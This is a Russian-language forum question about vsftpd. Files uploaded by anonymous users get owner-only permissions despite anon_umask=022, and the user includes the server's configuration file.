Проблема в том, что после закачки файла анонимусом права на этот файл такие: -rw------- Однако в конфиге есть: anon_umask=022 А вот и сам конфиг: listen=YES file_open_mode=0666 anonymous_enable=YES anon_umask=022 anon_root=/home/ftp anon_upload_enable=YES anon_mkdir_write_enable=YES local_enable=YES chroot_local_user=YES write_enable=YES local_umask=022 # Activate directory messages - messages given to remote users when they # go into a certain directory. dirmessage_enable=YES # Activate logging of uploads/downloads. xferlog_enable=YES # Make sure PORT transfer connections originate from port 20 (ftp-data). connect_from_port_20=YES # If you want, you can arrange for uploaded anonymous files to be owned by # a different user.

Угловой коэффициент прямой AB
Застопорился... С математикой туговато. Уже долго искал следующий шаг - не найти.| ← назад | следующие → |
